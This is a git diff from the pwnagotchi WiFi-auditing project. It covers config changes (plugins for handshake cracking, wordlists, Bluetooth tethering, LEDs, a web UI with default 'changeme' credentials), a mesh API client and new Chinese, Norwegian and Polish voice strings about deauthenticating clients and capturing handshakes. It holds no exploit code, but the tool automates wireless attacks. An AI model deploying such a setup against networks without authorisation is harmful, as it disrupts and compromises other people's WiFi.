||||
if factor >= 2.0:
|
||||
self.set_angry(factor)
|
||||
else:
|
||||
self.set_sad()
|
||||
# after X times being inactive, the status is set to bored
|
||||
elif self._epoch.inactive_for >= self._config['personality']['bored_num_epochs']:
|
||||
self.set_bored()
|
||||
|
@@ -19,25 +19,10 @@ main:
|
||||
report: false # don't report pwned networks by default!
|
||||
exclude: # do not report the following networks (accepts both ESSIDs and BSSIDs)
|
||||
- YourHomeNetworkHere
|
||||
|
||||
auto-update:
|
||||
enabled: false
|
||||
interval: 12 # every 12 hours
|
||||
enabled: true
|
||||
install: true # if false, it will only warn that updates are available, if true it will install them
|
||||
|
||||
auto-backup:
|
||||
enabled: false
|
||||
interval: 1 # every day
|
||||
files:
|
||||
- /root/brain.nn
|
||||
- /root/brain.json
|
||||
- /root/.api-report.json
|
||||
- /root/handshakes/
|
||||
- /root/peers/
|
||||
- /etc/pwnagotchi/
|
||||
- /var/log/pwnagotchi.log
|
||||
commands:
|
||||
- 'tar czf /root/pwnagotchi-backup.tar.gz {files}'
|
||||
interval: 1 # every 1 hour
|
||||
net-pos:
|
||||
enabled: false
|
||||
api_key: 'test'
|
||||
@@ -45,12 +30,8 @@ main:
|
||||
enabled: false
|
||||
speed: 19200
|
||||
device: /dev/ttyUSB0
|
||||
twitter:
|
||||
webgpsmap:
|
||||
enabled: false
|
||||
consumer_key: aaa
|
||||
consumer_secret: aaa
|
||||
access_token_key: aaa
|
||||
access_token_secret: aaa
|
||||
onlinehashcrack:
|
||||
enabled: false
|
||||
email: ~
|
||||
@@ -61,25 +42,36 @@ main:
|
||||
wigle:
|
||||
enabled: false
|
||||
api_key: ~
|
||||
screen_refresh:
|
||||
enabled: false
|
||||
refresh_interval: 50
|
||||
quickdic:
|
||||
enabled: false
|
||||
wordlist_folder: /opt/wordlists/
|
||||
AircrackOnly:
|
||||
enabled: false
|
||||
bt-tether:
|
||||
enabled: false # if you want to use this, set ui.display.video.address to 0.0.0.0
|
||||
mac: ~ # mac of your bluetooth device
|
||||
ip: '192.168.44.44' # ip from which your pwnagotchi should be reachable
|
||||
netmask: 24
|
||||
interval: 1 # check every x minutes for device
|
||||
share_internet: false
|
||||
enabled: false # if you want to use this, set ui.display.web.address to 0.0.0.0
|
||||
devices:
|
||||
android-phone:
|
||||
enabled: false
|
||||
search_order: 1 # search for this first
|
||||
mac: ~ # mac of your bluetooth device
|
||||
ip: '192.168.44.44' # ip from which your pwnagotchi should be reachable
|
||||
netmask: 24
|
||||
interval: 1 # check every minute for device
|
||||
scantime: 10 # search for 10 seconds
|
||||
max_tries: 10 # after 10 tries of "not found"; don't try anymore
|
||||
share_internet: false
|
||||
priority: 1 # low routing priority; ios (prio: 999) would win here
|
||||
ios-phone:
|
||||
enabled: false
|
||||
search_order: 2 # search for this second
|
||||
mac: ~ # mac of your bluetooth device
|
||||
ip: '172.20.10.6' # ip from which your pwnagotchi should be reachable
|
||||
netmask: 24
|
||||
interval: 5 # check every 5 minutes for device
|
||||
scantime: 20
|
||||
max_tries: 0 # infinity
|
||||
share_internet: false
|
||||
priority: 999 # routing priority
|
||||
memtemp: # Display memory usage, cpu load and cpu temperature on screen
|
||||
enabled: false
|
||||
scale: celsius
|
||||
orientation: horizontal # horizontal/vertical
|
||||
pawgps:
|
||||
paw-gps:
|
||||
enabled: false
|
||||
#The IP Address of your phone with Paw Server running, default (option is empty) is 192.168.44.1
|
||||
ip: ''
|
||||
@@ -87,24 +79,65 @@ main:
|
||||
enabled: false
|
||||
#The following is a list of the GPIO number for your button, and the command you want to run when it is pressed
|
||||
gpios:
|
||||
- 20: 'sudo touch /root/.pwnagotchi-auto && sudo systemctl restart pwnagotchi'
|
||||
- 21: 'shutdown -h now'
|
||||
#20: 'touch /root/.pwnagotchi-auto && systemctl restart pwnagotchi'
|
||||
#21: 'shutdown -h now'
|
||||
led:
|
||||
enabled: true
|
||||
# for /sys/class/leds/led0/brightness
|
||||
led: 0
|
||||
# time in milliseconds for each element of the patterns
|
||||
delay: 200
|
||||
# o=on space=off, comment the ones you don't want
|
||||
patterns:
|
||||
loaded: 'oo oo oo oo oo oo oo'
|
||||
updating: 'oo oo oo oo oo oo oo'
|
||||
# internet_available: 'oo oo oo oo oo oo oo'
|
||||
unread_inbox: 'oo oo oo oo oo oo oo'
|
||||
ready: 'oo oo oo oo oo oo oo'
|
||||
ai_ready: 'oo oo oo oo oo oo oo'
|
||||
ai_training_start: 'oo oo oo oo oo oo oo'
|
||||
ai_best_reward: 'oo oo oo oo oo oo oo'
|
||||
ai_worst_reward: 'oo oo oo oo oo oo oo'
|
||||
bored: 'oo oo oo oo oo oo oo'
|
||||
sad: 'oo oo oo oo oo oo oo'
|
||||
excited: 'oo oo oo oo oo oo oo'
|
||||
lonely: 'oo oo oo oo oo oo oo'
|
||||
rebooting: 'oo oo oo oo oo oo oo'
|
||||
wait: 'oo oo oo oo oo oo oo'
|
||||
sleep: 'oo oo oo oo oo oo oo'
|
||||
wifi_update: 'oo oo oo oo oo oo oo'
|
||||
association: 'oo oo oo oo oo oo oo'
|
||||
deauthentication: 'oo oo oo oo oo oo oo'
|
||||
handshake: 'oo oo oo oo oo oo oo'
|
||||
epoch: 'oo oo oo oo oo oo oo'
|
||||
peer_detected: 'oo oo oo oo oo oo oo'
|
||||
peer_lost: 'oo oo oo oo oo oo oo'
|
||||
webcfg:
|
||||
enabled: false
|
||||
# monitor interface to use
|
||||
iface: mon0
|
||||
# command to run to bring the mon interface up in case it's not up already
|
||||
mon_start_cmd: /usr/bin/monstart
|
||||
mon_stop_cmd: /usr/bin/monstop
|
||||
mon_max_blind_epochs: 50
|
||||
# log file
|
||||
log: /var/log/pwnagotchi.log
|
||||
# if true, will not restart the wifi module
|
||||
no_restart: false
|
||||
# access points to ignore
|
||||
# access points to ignore. Could be the ssid, bssid or the vendor part of bssid.
|
||||
whitelist:
|
||||
- EXAMPLE_NETWORK
|
||||
- ANOTHER_EXAMPLE_NETWORK
|
||||
- fo:od:ba:be:fo:od # BSSID
|
||||
- fo:od:ba # Vendor BSSID
|
||||
# if not null, filter access points by this regular expression
|
||||
filter: null
|
||||
# logging
|
||||
log:
|
||||
# file to log to
|
||||
path: /var/log/pwnagotchi.log
|
||||
rotation:
|
||||
enabled: true
|
||||
# specify a maximum size to rotate ( format is 10/10B, 10K, 10M 10G )
|
||||
size: '10M'
|
||||
|
||||
ai:
|
||||
# if false, only the default 'personality' will be used
|
||||
@@ -199,6 +232,7 @@ ui:
|
||||
smart: '(✜‿‿✜)'
|
||||
lonely: '(ب__ب)'
|
||||
sad: '(╥☁╥ )'
|
||||
angry: "(-_-')"
|
||||
friend: '(♥‿‿♥)'
|
||||
broken: '(☓‿‿☓)'
|
||||
debug: '(#__#)'
|
||||
@@ -207,25 +241,28 @@ ui:
|
||||
# preserve your display over time, you should set this value to 0.0 so that the display will be refreshed only
|
||||
# if any of the important data fields changed (the uptime and blinking cursor won't trigger a refresh).
|
||||
fps: 0.0
|
||||
# web ui
|
||||
web:
|
||||
enabled: true
|
||||
address: '0.0.0.0'
|
||||
username: changeme # !!! CHANGE THIS !!!
|
||||
password: changeme # !!! CHANGE THIS !!!
|
||||
origin: null
|
||||
port: 8080
|
||||
# command to be executed when a new png frame is available
|
||||
# for instance, to use with framebuffer based displays:
|
||||
# on_frame: 'fbi --noverbose -a -d /dev/fb1 -T 1 /root/pwnagotchi.png > /dev/null 2>&1'
|
||||
on_frame: ''
|
||||
# hardware display
|
||||
display:
|
||||
enabled: true
|
||||
rotation: 180
|
||||
# Possible options inkyphat/inky, papirus/papi, waveshare_1/ws_1 or waveshare_2/ws_2, oledhat, lcdhat, waveshare154inch, waveshare27inch, dfrobot/df
|
||||
# Possible options inkyphat/inky, papirus/papi, waveshare_1/ws_1 or waveshare_2/ws_2, oledhat, lcdhat, waveshare154inch, waveshare27inch, waveshare29inch, dfrobot/df
|
||||
type: 'waveshare_2'
|
||||
# Possible options red/yellow/black (black used for monocromatic displays)
|
||||
# Waveshare tri-color 2.13in display can be over-driven with color set as 'fastAndFurious'
|
||||
# THIS IS POTENTIALLY DANGEROUS. DO NOT USE UNLESS YOU UNDERSTAND THAT IT COULD KILL YOUR DISPLAY
|
||||
color: 'black'
|
||||
video:
|
||||
enabled: true
|
||||
address: '0.0.0.0'
|
||||
origin: null
|
||||
port: 8080
|
||||
# command to be executed when a new png frame is available
|
||||
# for instance, to use with framebuffer based displays:
|
||||
# on_frame: 'fbi --noverbose -a -d /dev/fb1 -T 1 /root/pwnagotchi.png > /dev/null 2>&1'
|
||||
on_frame: ''
|
||||
|
||||
|
||||
# bettercap rest api configuration
|
||||
bettercap:
|
||||
|
@@ -12,9 +12,13 @@ API_ADDRESS = "http://127.0.0.1:8666/api/v1"
|
||||
|
||||
def is_connected():
|
||||
try:
|
||||
socket.create_connection(("www.google.com", 80))
|
||||
return True
|
||||
except OSError:
|
||||
# check DNS
|
||||
host = socket.gethostbyname('api.pwnagotchi.ai')
|
||||
if host:
|
||||
# check connectivity itself
|
||||
socket.create_connection((host, 443), timeout=30)
|
||||
return True
|
||||
except:
|
||||
pass
|
||||
return False
|
||||
|
||||
@@ -22,9 +26,11 @@ def is_connected():
|
||||
def call(path, obj=None):
|
||||
url = '%s%s' % (API_ADDRESS, path)
|
||||
if obj is None:
|
||||
r = requests.get(url, headers=None)
|
||||
r = requests.get(url, headers=None, timeout=(30.0, 60.0))
|
||||
elif isinstance(obj, dict):
|
||||
r = requests.post(url, headers=None, json=obj, timeout=(30.0, 60.0))
|
||||
else:
|
||||
r = requests.post(url, headers=None, json=obj)
|
||||
r = requests.post(url, headers=None, data=obj, timeout=(30.0, 60.0))
|
||||
|
||||
if r.status_code != 200:
|
||||
raise Exception("(status %d) %s" % (r.status_code, r.text))
|
||||
@@ -39,6 +45,14 @@ def set_advertisement_data(data):
|
||||
return call("/mesh/data", obj=data)
|
||||
|
||||
|
||||
def get_advertisement_data():
|
||||
return call("/mesh/data")
|
||||
|
||||
|
||||
def memory():
|
||||
return call("/mesh/memory")
|
||||
|
||||
|
||||
def peers():
|
||||
return call("/mesh/peers")
|
||||
|
||||
@@ -95,3 +109,15 @@ def report_ap(essid, bssid):
|
||||
def inbox(page=1, with_pager=False):
|
||||
obj = call("/inbox?p=%d" % page)
|
||||
return obj["messages"] if not with_pager else obj
|
||||
|
||||
|
||||
def inbox_message(id):
|
||||
return call("/inbox/%d" % int(id))
|
||||
|
||||
|
||||
def mark_message(id, mark):
|
||||
return call("/inbox/%d/%s" % (int(id), str(mark)))
|
||||
|
||||
|
||||
def send_message(to, message):
|
||||
return call("/unit/%s/inbox" % to, message.encode('utf-8'))
|
||||
|
BIN
pwnagotchi/locale/ch/LC_MESSAGES/voice.mo
Normal file
225
pwnagotchi/locale/ch/LC_MESSAGES/voice.po
Normal file
@@ -0,0 +1,225 @@
|
||||
# SOME DESCRIPTIVE TITLE.
|
||||
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
|
||||
# This file is distributed under the same license as the PACKAGE package.
|
||||
# FIRST AUTHOR <511225068@qq.com>, 2019.
|
||||
# 还有很多未翻译和翻译不准确,后期希望大家加入进来一起翻译!
|
||||
# 翻译可以联系QQ群:959559103 找 名字叫 初九 的 管理员
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: 0.0.1\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2019-10-23 20:56+0200\n"
|
||||
"PO-Revision-Date: 2019-11-02 10:00+0008\n"
|
||||
"Last-Translator: 极客之眼-初九 <511225068@qq.com>\n"
|
||||
"Language-Team: LANGUAGE <LL@li.org>\n"
|
||||
"Language: chinese\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=utf-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n"
|
||||
|
||||
msgid "ZzzzZZzzzzZzzz"
|
||||
msgstr ""
|
||||
|
||||
msgid "Hi, I'm Pwnagotchi! Starting ..."
|
||||
msgstr "主人,你好.我是WiFi狩猎兽..."
|
||||
|
||||
msgid "New day, new hunt, new pwns!"
|
||||
msgstr "美好的一天,狩猎开始!"
|
||||
|
||||
msgid "Hack the Planet!"
|
||||
msgstr "我要入侵整个地球!"
|
||||
|
||||
msgid "AI ready."
|
||||
msgstr "人工智能已启动."
|
||||
|
||||
msgid "The neural network is ready."
|
||||
msgstr "神经元网络已启动."
|
||||
|
||||
msgid "Generating keys, do not turn off ..."
|
||||
msgstr "创建密钥中, 请勿断电..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey, channel {channel} is free! Your AP will say thanks."
|
||||
msgstr ""
|
||||
|
||||
msgid "I'm bored ..."
|
||||
msgstr "我无聊了..."
|
||||
|
||||
msgid "Let's go for a walk!"
|
||||
msgstr "主人带我出门走走吧!"
|
||||
|
||||
msgid "This is the best day of my life!"
|
||||
msgstr "这是我生命中最美好的一天!"
|
||||
|
||||
msgid "Shitty day :/"
|
||||
msgstr "今天不开心 :/"
|
||||
|
||||
msgid "I'm extremely bored ..."
|
||||
msgstr "主人,找点事做吧 ..."
|
||||
|
||||
msgid "I'm very sad ..."
|
||||
msgstr "我很伤心..."
|
||||
|
||||
msgid "I'm sad"
|
||||
msgstr "我伤心了"
|
||||
|
||||
msgid "I'm living the life!"
|
||||
msgstr ""
|
||||
|
||||
msgid "I pwn therefore I am."
|
||||
msgstr ""
|
||||
|
||||
msgid "So many networks!!!"
|
||||
msgstr "哇,好多猎物!!!"
|
||||
|
||||
msgid "I'm having so much fun!"
|
||||
msgstr "我玩的好开心!"
|
||||
|
||||
msgid "My crime is that of curiosity ..."
|
||||
msgstr "我最大的缺点就是好奇..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hello {name}! Nice to meet you."
|
||||
msgstr "你好{name}!很高兴认识你."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Unit {name} is nearby!"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Uhm ... goodbye {name}"
|
||||
msgstr "额 ... 再见{name}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} is gone ..."
|
||||
msgstr "{name} 它走了 ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Whoops ... {name} is gone."
|
||||
msgstr "哎呀... {name} 离开了."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} missed!"
|
||||
msgstr "刚刚错过了{name}!"
|
||||
|
||||
msgid "Missed!"
|
||||
msgstr "刚刚错过了一个对的它"
|
||||
|
||||
msgid "Good friends are a blessing!"
|
||||
msgstr "有个好朋友就是福气"
|
||||
|
||||
msgid "I love my friends!"
|
||||
msgstr "我爱我的朋友!"
|
||||
|
||||
msgid "Nobody wants to play with me ..."
|
||||
msgstr "没有人愿意和我玩耍..."
|
||||
|
||||
msgid "I feel so alone ..."
|
||||
msgstr "我可能是天煞孤星..."
|
||||
|
||||
msgid "Where's everybody?!"
|
||||
msgstr "朋友们都去哪里了?!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Napping for {secs}s ..."
|
||||
msgstr "小憩{secs}s ..."
|
||||
|
||||
msgid "Zzzzz"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "ZzzZzzz ({secs}s)"
|
||||
msgstr ""
|
||||
|
||||
msgid "Good night."
|
||||
msgstr "晚安宝贝."
|
||||
|
||||
msgid "Zzz"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Waiting for {secs}s ..."
|
||||
msgstr "等待{secs}s ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Looking around ({secs}s)"
|
||||
msgstr "追踪四周猎物({secs}s)"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {what} let's be friends!"
|
||||
msgstr "嗨{what}我们做朋友吧!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Associating to {what}"
|
||||
msgstr "正在连接到{what}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {what}!"
|
||||
msgstr "追踪到你了{what}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Just decided that {mac} needs no WiFi!"
|
||||
msgstr "猎物{mac}不需要联网,我们给它断开!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Deauthenticating {mac}"
|
||||
msgstr "开始攻击猎物{mac}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kickbanning {mac}!"
|
||||
msgstr "已捕获{mac}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Cool, we got {num} new handshake{plural}!"
|
||||
msgstr "太酷了, 我们抓到了{num}新的猎物{plural}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "You have {count} new message{plural}!"
|
||||
msgstr "主人,有{count}新消息{plural}!"
|
||||
|
||||
msgid "Ops, something went wrong ... Rebooting ..."
|
||||
msgstr "行动,额等等有点小问题... 重启ing ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kicked {num} stations\n"
|
||||
msgstr "限制了{num}个猎物\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Made {num} new friends\n"
|
||||
msgstr "交了{num}新朋友\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Got {num} handshakes\n"
|
||||
msgstr "捕获了{num}握手包\n"
|
||||
|
||||
msgid "Met 1 peer"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Met {num} peers"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid ""
|
||||
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
|
||||
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
msgstr ""
|
||||
|
||||
msgid "hours"
|
||||
msgstr "时"
|
||||
|
||||
msgid "minutes"
|
||||
msgstr "分"
|
||||
|
||||
msgid "seconds"
|
||||
msgstr "秒"
|
||||
|
||||
msgid "hour"
|
||||
msgstr "时"
|
||||
|
||||
msgid "minute"
|
||||
msgstr "分"
|
||||
|
||||
msgid "second"
|
||||
msgstr "秒"
|
BIN
pwnagotchi/locale/no/LC_MESSAGES/voice.mo
Normal file
248
pwnagotchi/locale/no/LC_MESSAGES/voice.po
Normal file
@@ -0,0 +1,248 @@
|
||||
# pwnagotchi norwegian voice data
|
||||
# Copyright (C) 2019
|
||||
# This file is distributed under the same license as the PACKAGE package.
|
||||
# FIRST AUTHOR untech <edvbot@gmail.com>, 2019.
|
||||
#
|
||||
#, fuzzy
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: 0.0.1\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2019-11-04 12:57+0100\n"
|
||||
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
|
||||
"Last-Translator: Edvard Botten <edvbot@gmail.com>\n"
|
||||
"Language-Team: LANGUAGE <LL@li.org>\n"
|
||||
"Language: norwegian\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=CHARSET\n"
|
||||
"Content-Transfer-Encoding: 8bit\n"
|
||||
|
||||
msgid "ZzzzZZzzzzZzzz"
|
||||
msgstr ""
|
||||
|
||||
msgid "Hi, I'm Pwnagotchi! Starting ..."
|
||||
msgstr "Hei, jeg er Pwnagotchi! Starter ..."
|
||||
|
||||
msgid "New day, new hunt, new pwns!"
|
||||
msgstr "En ny dag, ny jakt, og nye pwns!"
|
||||
|
||||
msgid "Hack the Planet!"
|
||||
msgstr "Hack planeten!"
|
||||
|
||||
msgid "AI ready."
|
||||
msgstr "AI klart."
|
||||
|
||||
msgid "The neural network is ready."
|
||||
msgstr "Det nevrale nettverket er klart."
|
||||
|
||||
msgid "Generating keys, do not turn off ..."
|
||||
msgstr "Generer nøkkler, ikke skru meg av ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey, channel {channel} is free! Your AP will say thanks."
|
||||
msgstr "Hei, kanalen {channel} er åpen! AP-en din takker."
|
||||
|
||||
msgid "Reading last session logs ..."
|
||||
msgstr "Leser forrige sesjonen's logs ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Read {lines_so_far} log lines so far ..."
|
||||
msgstr "Har lest {lines_so_far} linjer hittil ..."
|
||||
|
||||
msgid "I'm bored ..."
|
||||
msgstr "Kjeder meg ..."
|
||||
|
||||
msgid "Let's go for a walk!"
|
||||
msgstr "La oss stikke på tur!"
|
||||
|
||||
msgid "This is the best day of my life!"
|
||||
msgstr "Dette er den beste dagen i mitt liv!"
|
||||
|
||||
msgid "Shitty day :/"
|
||||
msgstr "Jævlig dag :/"
|
||||
|
||||
msgid "I'm extremely bored ..."
|
||||
msgstr "Kjeder livet av meg ..."
|
||||
|
||||
msgid "I'm very sad ..."
|
||||
msgstr "Jeg er veldig trist ..."
|
||||
|
||||
msgid "I'm sad"
|
||||
msgstr "Jeg er trist ..."
|
||||
|
||||
msgid "Leave me alone ..."
|
||||
msgstr "La meg være alene ..."
|
||||
|
||||
msgid "I'm mad at you!"
|
||||
msgstr "Jeg er sint på deg!"
|
||||
|
||||
msgid "I'm living the life!"
|
||||
msgstr "Lever livet, lett!"
|
||||
|
||||
msgid "I pwn therefore I am."
|
||||
msgstr "Jeg pwner derfor er jeg."
|
||||
|
||||
msgid "So many networks!!!"
|
||||
msgstr "Så mange nettverk!!!"
|
||||
|
||||
msgid "I'm having so much fun!"
|
||||
msgstr "Jeg har det så gøy!"
|
||||
|
||||
msgid "My crime is that of curiosity ..."
|
||||
msgstr "Nysgjerrighet er min eneste forbrytelse ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hello {name}! Nice to meet you."
|
||||
msgstr "Hallo {name}! Hyggelig å treffe deg!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {name}! Sup?"
|
||||
msgstr "Yo {name}! Skjer'a?"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {name} how are you doing?"
|
||||
msgstr "Heisann {name} driver du med da?"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Unit {name} is nearby!"
|
||||
msgstr "{name} er i nærheten!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Uhm ... goodbye {name}"
|
||||
msgstr "Uhm ... Ha det {name}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} is gone ..."
|
||||
msgstr "{name} er borte ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Whoops ... {name} is gone."
|
||||
msgstr "Oi da ... {name} forsvant."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} missed!"
|
||||
msgstr "{name} bommet!"
|
||||
|
||||
msgid "Missed!"
|
||||
msgstr "Bommet!"
|
||||
|
||||
msgid "Good friends are a blessing!"
|
||||
msgstr "Gode venner er livet verdt!"
|
||||
|
||||
msgid "I love my friends!"
|
||||
msgstr "Jeg digger vennene mine!"
|
||||
|
||||
msgid "Nobody wants to play with me ..."
|
||||
msgstr "Ingen vil leke med meg ..."
|
||||
|
||||
msgid "I feel so alone ..."
|
||||
msgstr "Jeg er så ensom ..."
|
||||
|
||||
msgid "Where's everybody?!"
|
||||
msgstr "Hvor er alle sammen?!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Napping for {secs}s ..."
|
||||
msgstr "Sover i {secs}s ..."
|
||||
|
||||
msgid "Zzzzz"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "ZzzZzzz ({secs}s)"
|
||||
msgstr ""
|
||||
|
||||
msgid "Good night."
|
||||
msgstr "God natt."
|
||||
|
||||
msgid "Zzz"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Waiting for {secs}s ..."
|
||||
msgstr "Venter i {secs}s ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Looking around ({secs}s)"
|
||||
msgstr "Ser meg rundt ({secs}s)"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {what} let's be friends!"
|
||||
msgstr "Hei {what} la oss være venner!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Associating to {what}"
|
||||
msgstr "Tilkobler til {what}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {what}!"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Just decided that {mac} needs no WiFi!"
|
||||
msgstr "Bestemte meg att {mac} ikke lenger trenger WiFi!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Deauthenticating {mac}"
|
||||
msgstr "Kobler av {mac}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kickbanning {mac}!"
|
||||
msgstr "Kickbanner {mac}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Cool, we got {num} new handshake{plural}!"
|
||||
msgstr "Fett, vi fikk {num} nye håndtrykk!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "You have {count} new message{plural}!"
|
||||
msgstr "Du har {count} melding{plural}!"
|
||||
|
||||
msgid "Ops, something went wrong ... Rebooting ..."
|
||||
msgstr "Oi, noe gikk helt skakk ... Rebooter ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kicked {num} stations\n"
|
||||
msgstr "Kicket {num} stasjoner\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Made {num} new friends\n"
|
||||
msgstr "Møtte {num} nye venner\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Got {num} handshakes\n"
|
||||
msgstr "Skaffet {num} håndtrykk\n"
|
||||
|
||||
msgid "Met 1 peer"
|
||||
msgstr "Møtte 1 annen"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Met {num} peers"
|
||||
msgstr "Møtte {num} andre"
|
||||
|
||||
#, python-brace-format
|
||||
msgid ""
|
||||
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
|
||||
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
msgstr "Jeg har pwnet for {duration} og kicket {dauthed} klienter! Jeg har også "
|
||||
"møtt {associated} nye venner og spiste {handshakes} håndtrykk! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
|
||||
msgid "hours"
|
||||
msgstr "timer"
|
||||
|
||||
msgid "minutes"
|
||||
msgstr "minutter"
|
||||
|
||||
msgid "seconds"
|
||||
msgstr "sekunder"
|
||||
|
||||
msgid "hour"
|
||||
msgstr "time"
|
||||
|
||||
msgid "minute"
|
||||
msgstr "minutt"
|
||||
|
||||
msgid "second"
|
||||
msgstr "sekund"
|
@@ -5,9 +5,9 @@
|
||||
#
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: 0.0.2\n"
|
||||
"Project-Id-Version: 0.1.0\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2019-10-21 08:39+0200\n"
|
||||
"POT-Creation-Date: 2019-11-04 06:37+0100\n"
|
||||
"PO-Revision-Date: 2019-10-21 10:55+0200\n"
|
||||
"Last-Translator: gkrs <457603+gkrs@users.noreply.github.com>\n"
|
||||
"Language-Team: PL <457603+gkrs@users.noreply.github.com>\n"
|
||||
@@ -41,6 +41,13 @@ msgstr "Generuję klucze, nie wyłączaj ..."
|
||||
msgid "Hey, channel {channel} is free! Your AP will say thanks."
|
||||
msgstr "Hej, kanał {channel} jest wolny! Twój AP będzie Ci wdzięczny."
|
||||
|
||||
msgid "Reading last session logs ..."
|
||||
msgstr "Czytam logi z ostatniej sesji ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Read {lines_so_far} log lines so far ..."
|
||||
msgstr "Na razie przeczytałem {lines_so_far} linii logów ..."
|
||||
|
||||
msgid "I'm bored ..."
|
||||
msgstr "Nudzi mi się ..."
|
||||
|
||||
@@ -62,6 +69,12 @@ msgstr "Jest mi bardzo smutno ..."
|
||||
msgid "I'm sad"
|
||||
msgstr "Jest mi smutno"
|
||||
|
||||
msgid "Leave me alone ..."
|
||||
msgstr "Zostaw mnie w spokoju ..."
|
||||
|
||||
msgid "I'm mad at you!"
|
||||
msgstr "Wkurzam się na ciebie"
|
||||
|
||||
msgid "I'm living the life!"
|
||||
msgstr "Cieszę się życiem!"
|
||||
|
||||
@@ -81,6 +94,14 @@ msgstr "Moją zbrodnią jest ciekawość ..."
|
||||
msgid "Hello {name}! Nice to meet you."
|
||||
msgstr "Cześć {name}! Miło Cię poznać."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {name}! Sup?"
|
||||
msgstr "Siema {name}! Co słychać?"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {name} how are you doing?"
|
||||
msgstr "Hej {name} jak się masz?"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Unit {name} is nearby!"
|
||||
msgstr "Urządzenie {name} jest w pobliżu!"
|
||||
@@ -104,6 +125,12 @@ msgstr "{name} pudło!"
|
||||
msgid "Missed!"
|
||||
msgstr "Pudło!"
|
||||
|
||||
msgid "Good friends are a blessing!"
|
||||
msgstr "Dobrzy przyjaciele to błogosławieństwo!"
|
||||
|
||||
msgid "I love my friends!"
|
||||
msgstr "Kocham moich przyjaciół!"
|
||||
|
||||
msgid "Nobody wants to play with me ..."
|
||||
msgstr "Nikt nie chce się ze mną bawić ..."
|
||||
|
||||
@@ -166,6 +193,10 @@ msgstr "Banuję {mac}!"
|
||||
msgid "Cool, we got {num} new handshake{plural}!"
|
||||
msgstr "Super, zdobyliśmy {num} nowych handshake'ów!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "You have {count} new message{plural}!"
|
||||
msgstr "Masz {count} nowych wiadomości!"
|
||||
